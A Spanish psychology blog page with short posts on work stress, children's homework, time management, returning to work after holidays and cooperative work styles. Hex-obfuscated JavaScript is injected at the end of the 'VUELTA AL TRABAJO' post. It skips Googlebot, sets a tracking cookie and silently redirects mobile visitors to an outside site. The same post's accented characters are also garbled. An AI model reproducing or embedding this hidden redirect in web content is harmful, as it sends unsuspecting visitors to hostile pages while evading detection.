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Mi trabajo es un chollo

trabajochollo2016El pasado Lunes día 26/12/16 pude participar en un debate en ETB-2 de la mano de Adela González en el programa AHORA sobre si algunos trabajos «a todas luces» afortunados son realmente un chollo.

Por exigencias del formato no pudimos extendernos mucho, pero sí que pudimos señalar que incluso trabajos como ser jurado en concurso de pintxos, sumiller, asesora de moda o «probador de viajes» pueden estrés.

Es necesario hacer una puntualización. No está mal acercarnos al llamado eustrés, el estrés del bueno, pero deberíamos cuidarnos del distrés, el estrés del malo. Como el colesterol, también hay dos tipos de estrés.

captura-de-pantalla-2016-12-27-14-37-34Una actividad muy prolongada en el tiempo a la que estamos decididos a responder, a dar lo mejor de nosotros al 200% de manera continuada y de la que no obtenemos fruto… es el caldo de cultivo ideal para el distrés. Huyamos de ese tipo de trabajos si podemos.

Intentemos, si está en nuestras manos, trabajar con la sensación de que estamos fluyendo; nos cansamos pero seguimos en la brecha orgulloso de los triunfos y satisfechos del esfuerzo realizado: agotados pero contentos.

Si hacemos esto último estaremos cerca de la felicidad.

¿Ayudo demasiado en los «deberes»?

deberes«Si me pusieran la nota a mí… ¡sacaría sobresalliente!» Muchas madres y padres firmarían esta afirmación. ¿Hasta qué punto debemos ayudar a nuestros hijos e hijas en sus tareas escolares?, ¿Cuándo es recomendable ir dejándoles solos?

Podemos hacer una pequeña división por edades. En el primer ciclo de primaria (1º y 2º) debemos ayudarles a que los traigan, se responsabilicen de los papeles y notas que traen y llevan en la mochila. Debemos estar encima de ellos/as para ir instaurando poco a poco el hábito. Es posible que necesiten que nos sentemos junto a ellos/as cuando están escribiendo y memorizando. Ratos cortos, no más de 15 minutos. Descansos. Y leer, leer y leer.

En el segundo y tercer ciclo de primaria (de 3º a 6º curso) deberían ponerse solos/as a hacer sus tareas. Sólo los debemos acompañar si hay alguna materia que les cuesta más o necesitan realmente nuestra guía. El resto, ellos solos.

En educación secundaria, los chavales deben planificar los tiempos que dedican a cada trozo de materia y asignatura. Deben repartir en un calendario los contenidos y el esfuerzo que dedican a cada uno; para poder utilizar más que nada su memoria a largo plazo. Aquí las familias debemos supervisar antes y después. Ellos solos.

Muy importante: debemos evitar, en general, los períodos de más de una hora sentados haciendo la misma tarea. Esto aburre a cualquiera, cansa, y disminuye su efectividad. Intercalar descansos cronometrados. Planificar.

Y sobre todo. leer, leer y leer.

«Lo siento, no tengo tiempo…»

«La idea es buena, me vendrá bien, pero es que no tengo tiempo para eso».

Estamos tan ocupados en apagar fuegos, que no nos paramos a hacer cortafuegos, ni mucho menos hacer cursillos absurdos sobre cómo evitar riesgos de incendios… Eso es muy fácil: no prender fuego y ya está.

Siguiendo con el símil de lo que arde, parece que sólo tenemos tiempo de apagar llambomberoas: «hoy es el último día, luego pospongo lo demás«. ¿Y cuándo nos ocupamos de las brasas?: «algo de lo que le dije le sentó mal a mi compañero de trabajo, bueno, da igual, él verá…» ¿Y los cortafuegos?, en invierno habrá que pasar la desbrozadora: «me ofrecen un curso de pilates para destensar los músculos, tiene buena pinta,… pero no cabe en mi agenda; mejor me dedico a preparar la comida de mañana…»

Y así seguimos, como decía aquél: «eldiaadiamecome«; y no me deja ver más allá de mis narices…

Pero… ¡eureka! La raza humana sigue sorprediéndonos… y tras una crisis, tras tocar fondo de alguna manera, o por miedo a las consecuencias, para evitar mayor conflicto… paramos, nos cuidamos, nos dedicamos tiempo, escuchamos a nuestro cuerpo, a sus señales. Y vemos que hemos de hacer pequeñas reparaciones: destensar músculos, rehabilitar cuello, dormir mejor, conseguir digestiones más ligeras,…

Y así vamos, con una de cal y dos de arena… Pero el que lo prueba repite. Si paramos, repensamos nuestros tiempos, nuestros ritmos, nuestras prioridades, nuestras decisiones al fin y al cabo; nos dedicaremos un poquito más de tiempo para nosotros y repercutirá, siempre, en nuestros seres queridos.

 

VUELTA AL TRABAJO

vuelta-al-trabajoA?Para la mayorA?a de personas se acabA? el verano y llega la temida incorporaciA?n laboral. Algunas y algunos dirA?n «suerte» para el que tenga trabajo con los tiempos que corren…

Sarcasmos a parte, para muchas personas estos dA?as logran ser una autA?ntica pesadilla. Pueden aparecer sA?ntomas como; cansancio, insomnio, tristeza, ansiedad…

Todo ello, podrA?amos calificarlo como algo dentro de lo «normal» siempre valorando su frecuencia e intensidad. Esto es, que si pasadas las dos semanas, mA?s o menos, de incorporaciA?n al trabajo se siguen presentando con la misma frecuencia estos sA?ntomas estarA?amos hablando de algo mA?s grave que habrA?a que consultar con un profesional, como un psicA?logo.

Sin embargo, no estA? de mA?s tener presentes ciertas pautas que nos pueden ayudar a pasar el «mal trago», como:

Mantener un buen descanso nocturno para encontrarnos con energA?a durante el dA?a. Alimentarnos correctamente; no saltarnos comidas, comer alimentos sanos. Poder realizar algo de ejercicio fA?sico. Y mantener el contacto con nuestras amistades y familia.

Respecto al trabajo, es conveniente planificarse las actividades paulatinamente y no querer realizarlas todas en la primera semana.

Del mismo modo que entendemos que los mA?s pequeA?os necesitan su periodo de adaptaciA?n, los adultos tenemos que tomar nota y aplicarnos el cuento.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Organizarse = decir «ahora no»

Saber Organizarse. centro delta
Saber Organizarse.

Muchos en nuestros trabajos, debemos sacar temas, gestionar asuntos,… y en ocasiones nos faltan horas del día… En esos momentos corremos el riesgo de presionar demasiado a nuestro organismo y entramos en la fase de «activación» del estrés.

Que nos organicemos. Que planifiquemos. Que ordenemos… pero siempre con una condición: decir que NO a ciertos asuntos y tareas que puedan retrararse en el tiempo; ya que valoramos que existen otras urgentes que deben tener prioridad.

Y claro, detrás de los asuntos y temas hay personas. Ellos y ellas que nos piden que lo hagamos, que les pasemos un documento para mañana, que le revisemos la tarea pendiente o que le enviemos ese mail con la documentación completada…

¿Cómo unir posponer asuntos, demorarlos, decirles que ahora no, con mantener relaciones cordiales en el trabajo?

Siendo sincero, hablando desde la verdad, desde la propia organización, desde el entendimiento de que ese asunto es para ti importante, pero que hoy no podré llevarlo a cabo; sino en el momento posterior que te indico. Manteniendo la sonrisa, las formas, preocupándonos por el interlocutor y empatizando; claro, separando la tarea del mensajero.

– ¿Qué hay de ese correo con la documentación que te pedí? saludos!!

– Lo tengo pensado hacer el jueves, si te parece. Sé que te vendría mejor hoy, lo siento. Me es imposible organizarme porque debo sacar temas urgentes. Gracias por tu paciencia!! Saludos!!!!!!

¿Cuándo ME empieza el NUEVO año?

monoAlgunos hacemos propósitos el 1 de enero, otros el 1 de agosto y muchos estudiantes el 9 de septiembre… Coincide con el comienzo de nuestro «año mental». Es un momento en el que tomamos decisiones, percibimos lo vivido como pasado; y enfocamos hacia nuestros actos futuros.

¿Y cuándo es el mío?, ¿cuándo comienza mi «año mental»?

Cada uno deberá analizar, reflexionar en que momento se dice a sí mismo: «he vivido esto, he estado haciendo esto otro; y a partir de ahora lo que quiero es…»

Estos momentos de revisión y de nuevos proyectos suelen ser cíclicos pero no tienen por qué coincidir con un año cronológico. En ocasiones las personas miramos atrás y decidimos proyectos en ciclos más amplios de dos años o más tiempo. Puede también coincidir con períodos de trabajo, relaciones personales, pérdidas de seres queridos, aparición de nuevas personas en tu vida, etc.

Lo importante es ser consciente de que todos tenemos esos ciclos, dejarlos estar y aprovecharlos. Luchar contra las emociones es una tarea estéril; pero producir nuevos proyectos que a su vez provoquen nuevas emociones, es una aventura mágica.

La vuelta a la rutina… ¿es mala?

Y tras las vacaciones… volvemos a nuestra «vida real»… Más de uno tendremos este tipo de pensamientos en la cabeza. ¿Pero, y las emociones? ¿Es posible volver a la rutina sin sentir cierto abatimiento, pereza o desgana?

Los psicólogos enseñamos a las personas a entender nuestras emociones y saber de dónde nos vienen; por qué nos sentimos desganados tras la vuelta a nuestros quehaceres habituales. La clave está en dos aspectos fundamentales: nuestro lenguaje interno y nuestros actos.

Nuestro «automatismo» puede hacer que nos digamos frases como: «otra vez con los horarios, a despertarnos pronto, a hacer estas tareas, a pelearnos con estas personas, a andar con prisas…»; pero nosotros somos capaces de añadir nuevos; de transformarlos hacia: «tengo energías para sobrellevar la presión, puedo con ello, en otras ocasiones lo he conseguido, puedo hacerlo incluso mejor,…»

La segunda cuestión a tener en cuenta son nuestros actos: lo que hacemos. Si en el café del medio día (el que lo pueda tomar…) hablamos de lo mal que sienta volver al trabajo; de lo pesada que está la jefa, de que a este cliente no hay «langostino ni turrón» que le haga cambiar de actitud… probablemente el sentimiento de desazón nos vaya, poco a poco, inundando el corazón.

Si nuestros actos son: «aprovecharé esta rato libre para cambiar este regalo de navidad repetido por uno nuevo… ¿qué podrá ser?», «durante las vacaciones se me han ocurrido unas ideas nuevas para nuestro trabajo, te cuento…», «camino por la calle fijándome en las personas que parecen disfrutar de la vida…», «disfruto del aquí y del ahora»,… es posible que el desasosiego vaya disminuyendo.

Podemos ser más felices si ponemos de nuestra parte: identificamos nuestros automatismos y nos proponemos acciones e ideas diferentes.

Estilos conciliador y cooperativo en el trabajo vs. estilo distributivo

La actitud que tomemos en nuestro equipo de trabajo a la hora de relacionarnos, es fundamental para lograr una buena «convivencia laboral». El estilo conciliador es «la capacidad de tender puentes, arrastrar, comprometer (…) manifestar el honesto interés de los otros (…) compartir información, escuchar, resumir» (De Diego y Vallejo, 2006) y el estilo cooperativo es el que pretende llegar a puntos de satisfacción mutua.

No confundamos la cooperación, con el estilo distributivo en el que dividimos por la mitad el trabajo, repartimos funciones equitativamente, al 50%,… pero no encontramos satisfacción completa en esta estrategia…

Los acuerdos que se sustentan en una igualdad de «fastidios y de privilegios» no suelen sustentarse en el tiempo. Se acaban rompiendo.

Busquemos los puntos en común, los intereses soterrados en nuestros comentarios, y lleguemos a escenarios que de veras nos satisfagan…

Más info en www.zubika.es

Volver con salud. Saber escuchar a nuestras personas cercanas.

Fechas de retorno para muchos a sus trabajos, estudios y quehaceres cotidianos. ¿Cómo hacerlo con salud?, ¿cómo podemos retornar manteniendo a salvo nuestro bienestar emocional y el de los quien nos rodea?

Basta con empezar siendo conscientes de nuestras limitaciones, nuestros gustos, preferencias y, cómo no, obligaciones. Para lograrlo podemos paranos a reflexionar, anotar en un papel palabras que nos indiquen estos extremos y que nos dejemos interpelar por los que nos rodean y nos quieren. ¿Qué dicen ellos sobre nosotros?, ¿qué nos gusta hacer?, ¿cuándo nos saturamos en nuestros quehaceres?, ¿cómo savan de nosotros una sonrisa?

Éstas y otras preguntas podemos formularnos y dejar que nos formulen. La actitud positiva es fundamental; y el tiempo de respuesta también. No debemos contestar a estas cuestiones pronto, sino que es deseable dejar pasar unos días.

Como decían los famosos autores de la «ventana de Johari», el conocimiento sobre nosotros mismos puede aumentar por sus comentarios e interpelaciones.

Tenemos dos oidos para oir y una boca para hablar, ¿por qué?